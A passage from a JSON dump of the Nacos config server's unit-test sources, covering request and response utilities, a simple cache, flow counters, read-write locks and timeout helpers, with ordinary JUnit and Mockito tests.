\n    @Test\n    void testGetAppNameFromContext() {\n        RequestContextHolder.getContext().getBasicContext().setApp(\"contextApp\");\n        HttpServletRequest request = Mockito.mock(HttpServletRequest.class);\n        Mockito.when(request.getHeader(eq(RequestUtil.CLIENT_APPNAME_HEADER))).thenReturn(\"test\");\n        assertEquals(\"contextApp\", RequestUtil.getAppName(request));\n    }\n    \n    @Test\n    void testGetAppNameFromRequest() {\n        HttpServletRequest request = Mockito.mock(HttpServletRequest.class);\n        Mockito.when(request.getHeader(eq(RequestUtil.CLIENT_APPNAME_HEADER))).thenReturn(\"test\");\n        assertEquals(\"test\", RequestUtil.getAppName(request));\n    }\n    \n    @Test\n    void testGetSrcUserNameFromContext() {\n        IdentityContext identityContext = new IdentityContext();\n        identityContext.setParameter(com.alibaba.nacos.plugin.auth.constant.Constants.Identity.IDENTITY_ID, \"test\");\n        RequestContextHolder.getContext().getAuthContext().setIdentityContext(identityContext);\n        HttpServletRequest request = Mockito.mock(HttpServletRequest.class);\n        assertEquals(\"test\", RequestUtil.getSrcUserName(request));\n    }\n    \n    @Test\n    void testGetSrcUserNameFromRequest() {\n        HttpServletRequest request = Mockito.mock(HttpServletRequest.class);\n        Mockito.when(request.getParameter(eq(Constants.USERNAME))).thenReturn(\"parameterName\");\n        assertEquals(\"parameterName\", RequestUtil.getSrcUserName(request));\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/ResponseUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigDetailInfo;\nimport com.alibaba.nacos.api.config.model.ConfigGrayInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryDetailInfo;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport org.junit.jupiter.api.Test;\nimport org.springframework.mock.web.MockHttpServletResponse;\n\nimport java.io.UnsupportedEncodingException;\nimport java.sql.Timestamp;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ResponseUtilTest {\n    \n    String lineSeparator = System.lineSeparator();\n    \n    @Test\n    void testWriteErrMsg() {\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        ResponseUtil.writeErrMsg(response, 404, \"test\");\n        assertEquals(404, response.getStatus());\n        try {\n            assertEquals(\"test\" + lineSeparator, response.getContentAsString());\n        } catch (UnsupportedEncodingException e) {\n            System.out.println(e.toString());\n        }\n    }\n    \n    @Test\n    void testTransferToConfigDetailInfo() {\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setId(1L);\n        configAllInfo.setTenant(\"testNs\");\n        configAllInfo.setGroup(Constants.DEFAULT_GROUP);\n        configAllInfo.setDataId(\"testDs\");\n        configAllInfo.setMd5(\"testMd5\");\n        configAllInfo.setEncryptedDataKey(\"testEncryptedDataKey\");\n        configAllInfo.setContent(\"testContent\");\n        configAllInfo.setDesc(\"testDesc\");\n        configAllInfo.setType(\"text\");\n        configAllInfo.setAppName(\"testAppName\");\n        configAllInfo.setCreateIp(\"1.1.1.1\");\n        configAllInfo.setCreateUser(\"testCreateUser\");\n        configAllInfo.setCreateTime(System.currentTimeMillis());\n        configAllInfo.setModifyTime(System.currentTimeMillis());\n        configAllInfo.setConfigTags(\"testConfigTag1,testConfigTag2\");\n        configAllInfo.setUse(\"testUse\");\n        configAllInfo.setEffect(\"testEffect\");\n        configAllInfo.setSchema(\"testSchema\");\n        ConfigDetailInfo configDetailInfo = ResponseUtil.transferToConfigDetailInfo(configAllInfo);\n        assertEquals(configAllInfo.getId(), configDetailInfo.getId());\n        assertEquals(configAllInfo.getTenant(), configDetailInfo.getNamespaceId());\n        assertEquals(configAllInfo.getGroup(), configDetailInfo.getGroupName());\n        assertEquals(configAllInfo.getDataId(), configDetailInfo.getDataId());\n        assertEquals(configAllInfo.getMd5(), configDetailInfo.getMd5());\n        assertEquals(configAllInfo.getEncryptedDataKey(), configDetailInfo.getEncryptedDataKey());\n        assertEquals(configAllInfo.getContent(), configDetailInfo.getContent());\n        assertEquals(configAllInfo.getDesc(), configDetailInfo.getDesc());\n        assertEquals(configAllInfo.getType(), configDetailInfo.getType());\n        assertEquals(configAllInfo.getAppName(), configDetailInfo.getAppName());\n        assertEquals(configAllInfo.getCreateIp(), configDetailInfo.getCreateIp());\n        assertEquals(configAllInfo.getCreateUser(), configDetailInfo.getCreateUser());\n        assertEquals(configAllInfo.getCreateTime(), configDetailInfo.getCreateTime());\n        assertEquals(configAllInfo.getModifyTime(), configDetailInfo.getModifyTime());\n        assertEquals(configAllInfo.getConfigTags(), configDetailInfo.getConfigTags());\n    }\n    \n    @Test\n    void testTransferToConfigBasicInfo() {\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setId(1L);\n        configInfo.setTenant(\"testNs\");\n        configInfo.setGroup(Constants.DEFAULT_GROUP);\n        configInfo.setDataId(\"testDs\");\n        configInfo.setMd5(\"testMd5\");\n        configInfo.setEncryptedDataKey(\"testEncryptedDataKey\");\n        configInfo.setContent(\"testContent\");\n        configInfo.setType(\"text\");\n        configInfo.setAppName(\"testAppName\");\n        configInfo.setDesc(\"testDesc\");\n        configInfo.setConfigTags(\"tag1,tag2\");\n        ConfigBasicInfo configBasicInfo = ResponseUtil.transferToConfigBasicInfo(configInfo);\n        assertEquals(configInfo.getId(), configBasicInfo.getId());\n        assertEquals(configInfo.getTenant(), configBasicInfo.getNamespaceId());\n        assertEquals(configInfo.getGroup(), configBasicInfo.getGroupName());\n        assertEquals(configInfo.getDataId(), configBasicInfo.getDataId());\n        assertEquals(configInfo.getMd5(), configBasicInfo.getMd5());\n        assertEquals(configInfo.getType(), configBasicInfo.getType());\n        assertEquals(configInfo.getAppName(), configBasicInfo.getAppName());\n        assertEquals(configInfo.getDesc(), configBasicInfo.getDesc());\n        assertEquals(configInfo.getConfigTags(), configBasicInfo.getConfigTags());\n        assertEquals(0L, configBasicInfo.getCreateTime());\n        assertEquals(0L, configBasicInfo.getModifyTime());\n    }\n    \n    @Test\n    void testTransferToConfigBasicInfoFromWrapper() {\n        ConfigInfoWrapper configInfo = new ConfigInfoWrapper();\n        configInfo.setId(1L);\n        configInfo.setTenant(\"testNs\");\n        configInfo.setGroup(Constants.DEFAULT_GROUP);\n        configInfo.setDataId(\"testDs\");\n        configInfo.setMd5(\"testMd5\");\n        configInfo.setEncryptedDataKey(\"testEncryptedDataKey\");\n        configInfo.setContent(\"testContent\");\n        configInfo.setType(\"text\");\n        configInfo.setAppName(\"testAppName\");\n        configInfo.setDesc(\"testDesc\");\n        configInfo.setConfigTags(\"tag1,tag2\");\n        configInfo.setLastModified(System.currentTimeMillis());\n        ConfigBasicInfo configBasicInfo = ResponseUtil.transferToConfigBasicInfo(configInfo);\n        assertEquals(configInfo.getId(), configBasicInfo.getId());\n        assertEquals(configInfo.getTenant(), configBasicInfo.getNamespaceId());\n        assertEquals(configInfo.getGroup(), configBasicInfo.getGroupName());\n        assertEquals(configInfo.getDataId(), configBasicInfo.getDataId());\n        assertEquals(configInfo.getMd5(), configBasicInfo.getMd5());\n        assertEquals(configInfo.getType(), configBasicInfo.getType());\n        assertEquals(configInfo.getAppName(), configBasicInfo.getAppName());\n        assertEquals(configInfo.getDesc(), configBasicInfo.getDesc());\n        assertEquals(configInfo.getConfigTags(), configBasicInfo.getConfigTags());\n        assertEquals(0L, configBasicInfo.getCreateTime());\n        assertEquals(configInfo.getLastModified(), configBasicInfo.getModifyTime());\n    }\n    \n    @Test\n    void testTransferToConfigGrayInfo() {\n        ConfigInfoGrayWrapper configInfoGray = new ConfigInfoGrayWrapper();\n        configInfoGray.setId(1L);\n        configInfoGray.setTenant(\"testNs\");\n        configInfoGray.setGroup(Constants.DEFAULT_GROUP);\n        configInfoGray.setDataId(\"testDs\");\n        configInfoGray.setMd5(\"testMd5\");\n        configInfoGray.setEncryptedDataKey(\"testEncryptedDataKey\");\n        configInfoGray.setContent(\"testContent\");\n        configInfoGray.setType(\"text\");\n        configInfoGray.setAppName(\"testAppName\");\n        configInfoGray.setGrayName(\"testGrayName\");\n        configInfoGray.setGrayRule(\"testGrayRule\");\n        configInfoGray.setSrcUser(\"testSrcUser\");\n        configInfoGray.setLastModified(System.currentTimeMillis());\n        ConfigGrayInfo configGrayInfo = ResponseUtil.transferToConfigGrayInfo(configInfoGray);\n        assertEquals(configInfoGray.getId(), configGrayInfo.getId());\n        assertEquals(configInfoGray.getTenant(), configGrayInfo.getNamespaceId());\n        assertEquals(configInfoGray.getGroup(), configGrayInfo.getGroupName());\n        assertEquals(configInfoGray.getDataId(), configGrayInfo.getDataId());\n        assertEquals(configInfoGray.getMd5(), configGrayInfo.getMd5());\n        assertEquals(configInfoGray.getType(), configGrayInfo.getType());\n        assertEquals(configInfoGray.getEncryptedDataKey(), configGrayInfo.getEncryptedDataKey());\n        assertEquals(configInfoGray.getAppName(), configGrayInfo.getAppName());\n        assertEquals(0, configGrayInfo.getCreateTime());\n        assertEquals(configInfoGray.getLastModified(), configGrayInfo.getModifyTime());\n        assertEquals(configInfoGray.getSrcUser(), configGrayInfo.getCreateUser());\n        assertEquals(configInfoGray.getGrayName(), configGrayInfo.getGrayName());\n        assertEquals(configInfoGray.getGrayRule(), configGrayInfo.getGrayRule());\n    }\n    \n    @Test\n    void testTransferToConfigHistoryBasicInfo() {\n        ConfigHistoryInfo configHistoryInfo = mockConfigHistoryInfo();\n        ConfigHistoryBasicInfo configHistoryBasicInfo = ResponseUtil.transferToConfigHistoryBasicInfo(\n                configHistoryInfo);\n        assertConfigHistoryBasicInfo(configHistoryInfo, configHistoryBasicInfo);\n    }\n    \n    @Test\n    void testTransferToConfigHistoryDetialInfo() {\n        ConfigHistoryInfo configHistoryInfo = mockConfigHistoryInfo();\n        ConfigHistoryDetailInfo configHistoryBasicInfo = ResponseUtil.transferToConfigHistoryDetailInfo(\n                configHistoryInfo);\n        assertConfigHistoryBasicInfo(configHistoryInfo, configHistoryBasicInfo);\n        assertEquals(configHistoryInfo.getContent(), configHistoryBasicInfo.getContent());\n        assertEquals(configHistoryInfo.getEncryptedDataKey(), configHistoryBasicInfo.getEncryptedDataKey());\n        assertEquals(configHistoryInfo.getGrayName(), configHistoryBasicInfo.getGrayName());\n        assertEquals(configHistoryInfo.getExtInfo(), configHistoryBasicInfo.getExtInfo());\n    }\n    \n    private ConfigHistoryInfo mockConfigHistoryInfo() {\n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setId(1L);\n        configHistoryInfo.setTenant(\"testNs\");\n        configHistoryInfo.setGroup(Constants.DEFAULT_GROUP);\n        configHistoryInfo.setDataId(\"testDs\");\n        configHistoryInfo.setAppName(\"testAppName\");\n        configHistoryInfo.setMd5(\"testMd5\");\n        configHistoryInfo.setContent(\"testContent\");\n        configHistoryInfo.setSrcIp(\"1.1.1.1\");\n        configHistoryInfo.setSrcUser(\"testSrcUser\");\n        configHistoryInfo.setOpType(\"I\");\n        configHistoryInfo.setPublishType(\"formal\");\n        configHistoryInfo.setGrayName(\"testGrayName\");\n        configHistoryInfo.setExtInfo(\"{\\\"type\\\":\\\"text\\\"}\");\n        configHistoryInfo.setCreatedTime(new Timestamp(System.currentTimeMillis()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(System.currentTimeMillis()));\n        configHistoryInfo.setEncryptedDataKey(\"testEncryptedDataKey\");\n        return configHistoryInfo;\n    }\n    \n    private void assertConfigHistoryBasicInfo(ConfigHistoryInfo configHistoryInfo,\n            ConfigHistoryBasicInfo configHistoryBasicInfo) {\n        assertEquals(configHistoryInfo.getId(), configHistoryBasicInfo.getId());\n        assertEquals(configHistoryInfo.getTenant(), configHistoryBasicInfo.getNamespaceId());\n        assertEquals(configHistoryInfo.getGroup(), configHistoryBasicInfo.getGroupName());\n        assertEquals(configHistoryInfo.getDataId(), configHistoryBasicInfo.getDataId());\n        assertEquals(configHistoryInfo.getAppName(), configHistoryBasicInfo.getAppName());\n        assertEquals(configHistoryInfo.getMd5(), configHistoryBasicInfo.getMd5());\n        assertEquals(configHistoryInfo.getSrcIp(), configHistoryBasicInfo.getSrcIp());\n        assertEquals(configHistoryInfo.getSrcUser(), configHistoryBasicInfo.getSrcUser());\n        assertEquals(configHistoryInfo.getOpType(), configHistoryBasicInfo.getOpType());\n        assertEquals(configHistoryInfo.getPublishType(), configHistoryBasicInfo.getPublishType());\n        assertEquals(configHistoryInfo.getCreatedTime().getTime(), configHistoryBasicInfo.getCreateTime());\n        assertEquals(configHistoryInfo.getLastModifiedTime().getTime(), configHistoryBasicInfo.getModifyTime());\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/SimpleCacheTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass SimpleCacheTest {\n    \n    @Test\n    void testPutAndGet() throws InterruptedException {\n        SimpleCache<String> simpleCache = new SimpleCache<>();\n        simpleCache.put(\"key\", \"value\", 1000);\n        assertEquals(\"value\", simpleCache.get(\"key\"));\n        \n        //time expire\n        TimeUnit.MILLISECONDS.sleep(1100);\n        Object value = simpleCache.get(\"key\");\n        assertNull(value);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/SimpleFlowDataTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass SimpleFlowDataTest {\n    \n    @Test\n    void testAddAndGet() {\n        \n        SimpleFlowData simpleFlowData = new SimpleFlowData(5, 10000);\n        assertEquals(10, simpleFlowData.addAndGet(10));\n        assertEquals(20, simpleFlowData.addAndGet(10));\n    }\n    \n    @Test\n    void testIncrementAndGet() {\n        \n        SimpleFlowData simpleFlowData = new SimpleFlowData(5, 10000);\n        assertEquals(1, simpleFlowData.incrementAndGet());\n        assertEquals(2, simpleFlowData.incrementAndGet());\n        assertEquals(3, simpleFlowData.incrementAndGet());\n        \n    }\n    \n    @Test\n    void testGetSlotInfo() {\n        SimpleFlowData simpleFlowData = new SimpleFlowData(5, 10000);\n        simpleFlowData.incrementAndGet();\n        simpleFlowData.incrementAndGet();\n        simpleFlowData.incrementAndGet();\n        assertEquals(\"0 0 0 0 3\", simpleFlowData.getSlotInfo());\n    }\n    \n    @Test\n    void testGetSlotInfo2() {\n        SimpleFlowData simpleFlowData = new SimpleFlowData(5, 10000);\n        simpleFlowData.incrementAndGet();\n        simpleFlowData.rotateSlot();\n        simpleFlowData.addAndGet(9);\n        simpleFlowData.rotateSlot();\n        simpleFlowData.incrementAndGet();\n        assertEquals(\"0 0 1 9 1\", simpleFlowData.getSlotInfo());\n        assertEquals(1, simpleFlowData.getCurrentCount());\n        assertEquals(2, simpleFlowData.getAverageCount());\n        assertEquals(5, simpleFlowData.getSlotCount());\n    }\n    \n    @Test\n    void testGetCount() {\n        SimpleFlowData simpleFlowData = new SimpleFlowData(5, 10000);\n        simpleFlowData.addAndGet(2);\n        simpleFlowData.rotateSlot();\n        simpleFlowData.addAndGet(3);\n        simpleFlowData.rotateSlot();\n        simpleFlowData.incrementAndGet();\n        assertEquals(\"0 0 2 3 1\", simpleFlowData.getSlotInfo());\n        assertEquals(2, simpleFlowData.getCount(2));\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/SimpleIpFlowDataTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass SimpleIpFlowDataTest {\n    \n    @Test\n    void testIncrementAndGet() {\n        \n        SimpleIpFlowData simpleIpFlowData = new SimpleIpFlowData(5, 10000);\n        assertEquals(1, simpleIpFlowData.incrementAndGet(\"127.0.0.1\"));\n        assertEquals(2, simpleIpFlowData.incrementAndGet(\"127.0.0.1\"));\n        assertEquals(3, simpleIpFlowData.incrementAndGet(\"127.0.0.1\"));\n        assertEquals(1, simpleIpFlowData.incrementAndGet(\"127.0.0.2\"));\n        assertEquals(2, simpleIpFlowData.incrementAndGet(\"127.0.0.2\"));\n        \n    }\n    \n    @Test\n    void testGetCurrentCount() {\n        SimpleIpFlowData simpleIpFlowData = new SimpleIpFlowData(3, 10000);\n        simpleIpFlowData.incrementAndGet(\"127.0.0.1\");\n        simpleIpFlowData.incrementAndGet(\"127.0.0.1\");\n        simpleIpFlowData.incrementAndGet(\"127.0.0.1\");\n        assertEquals(3, simpleIpFlowData.getCurrentCount(\"127.0.0.1\"));\n        simpleIpFlowData.rotateSlot();\n        assertEquals(0, simpleIpFlowData.getCurrentCount(\"127.0.0.1\"));\n        assertEquals(1, simpleIpFlowData.getAverageCount());\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/SimpleReadWriteLockTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(SpringExtension.class)\nclass SimpleReadWriteLockTest {\n    \n    @Test\n    void testDoubleReadLockByAllReleaseAndWriteLock() {\n        SimpleReadWriteLock lock = new SimpleReadWriteLock();\n        assertTrue(lock.tryReadLock());\n        assertTrue(lock.tryReadLock());\n        \n        lock.releaseReadLock();\n        lock.releaseReadLock();\n        \n        assertTrue(lock.tryWriteLock());\n    }\n    \n    @Test\n    void testAddWriteLock() {\n        SimpleReadWriteLock lock = new SimpleReadWriteLock();\n        assertTrue(lock.tryWriteLock());\n        lock.releaseWriteLock();\n    }\n    \n    @Test\n    void testDoubleWriteLock() {\n        SimpleReadWriteLock lock = new SimpleReadWriteLock();\n        \n        assertTrue(lock.tryWriteLock());\n        assertFalse(lock.tryWriteLock());\n    }\n    \n    @Test\n    void testFirstReadLockThenWriteLock() {\n        SimpleReadWriteLock lock = new SimpleReadWriteLock();\n        \n        assertTrue(lock.tryReadLock());\n        assertFalse(lock.tryWriteLock());\n    }\n    \n    @Test\n    void testFirstWriteLockThenReadLock() {\n        SimpleReadWriteLock lock = new SimpleReadWriteLock();\n        \n        assertTrue(lock.tryWriteLock());\n        assertFalse(lock.tryReadLock());\n    }\n    \n    @Test\n    void testDoubleReadLockAndOneReleaseOneFailed() {\n        SimpleReadWriteLock lock = new SimpleReadWriteLock();\n        assertTrue(lock.tryReadLock());\n        assertTrue(lock.tryReadLock());\n        \n        lock.releaseReadLock();\n        \n        assertFalse(lock.tryWriteLock());\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/SystemConfigTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass SystemConfigTest {\n    \n    @Test\n    void testGetHostAddress() {\n        System.setProperty(\"nacos.server.ip\", \"127.0.0.1\");\n        assertEquals(\"127.0.0.1\", SystemConfig.LOCAL_IP);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/TestCaseUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.mockito.Mockito;\nimport org.springframework.jdbc.support.GeneratedKeyHolder;\nimport org.springframework.jdbc.support.JdbcTransactionManager;\nimport org.springframework.transaction.TransactionDefinition;\nimport org.springframework.transaction.support.DefaultTransactionStatus;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.util.HashMap;\n\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.when;\n\npublic class TestCaseUtils {\n    \n    /**\n     * create mocked transaction template with transact ability.\n     *\n     * @return\n     */\n    public static TransactionTemplate createMockTransactionTemplate() {\n        JdbcTransactionManager transactionManager = Mockito.mock(JdbcTransactionManager.class);\n        \n        when(transactionManager.getTransaction(any(TransactionDefinition.class))).thenReturn(\n                new DefaultTransactionStatus(null, null, true, true, false, false, false, null));\n        TransactionTemplate transactionTemplate = new TransactionTemplate(transactionManager);\n        return transactionTemplate;\n        \n    }\n    \n    /**\n     * create mocked transaction template with transact ability.\n     *\n     * @return\n     */\n    public static GeneratedKeyHolder createGeneratedKeyHolder(long wantedId) {\n        GeneratedKeyHolder generatedKeyHolder = new GeneratedKeyHolder();\n        HashMap<String, Object> objectObjectHashMap = new HashMap<>();\n        objectObjectHashMap.put(\"whatever\", wantedId);\n        generatedKeyHolder.getKeyList().add(objectObjectHashMap);\n        \n        return generatedKeyHolder;\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/TimeUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\nclass TimeUtilsTest {\n    \n    @Test\n    void testGetCurrentTimeStr() throws ParseException {\n        \n        Date date1 = new Date(TimeUtils.getCurrentTime().getTime());\n        assertNotNull(date1.toString());\n        \n        Date date2 = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\").parse(TimeUtils.getCurrentTimeStr());\n        assertNotNull(date2.toString());\n        \n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/TimeoutUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass TimeoutUtilsTest {\n    \n    @Test\n    void testAddTotalTime() {\n        TimeoutUtils timeoutUtils = new TimeoutUtils(10, 1);\n        timeoutUtils.initLastResetTime();\n        timeoutUtils.addTotalTime(1);\n        assertEquals(1L, timeoutUtils.getTotalTime().get());\n    }\n    \n    @Test\n    void testIsTimeout() {\n        TimeoutUtils timeoutUtils = new TimeoutUtils(10, 1);\n        timeoutUtils.initLastResetTime();\n        timeoutUtils.addTotalTime(1);\n        assertFalse(timeoutUtils.isTimeout());\n        timeoutUtils.addTotalTime(10);\n        assertTrue(timeoutUtils.isTimeout());\n    }\n    \n    @Test\n    void testResetTotalTime() {\n        TimeoutUtils timeoutUtils = new TimeoutUtils(10, -1);\n        timeoutUtils.initLastResetTime();\n        timeoutUtils.addTotalTime(1);\n        assertEquals(1L, timeoutUtils.getTotalTime().get());\n        timeoutUtils.resetTotalTime();\n        assertEquals(0L, timeoutUtils.getTotalTime().get());\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/TraceLogUtilTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.junit.jupiter.api.Test;\nimport org.slf4j.Logger;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass TraceLogUtilTest {\n    \n    @Test\n    void testRequestLog() {\n        \n        Logger requestLog = TraceLogUtil.requestLog;\n        assertTrue(requestLog instanceof Logger);\n        \n        Logger pollingLog = TraceLogUtil.pollingLog;\n        assertTrue(pollingLog instanceof Logger);\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/utils/UrlAnalysisUtilsTest.java",
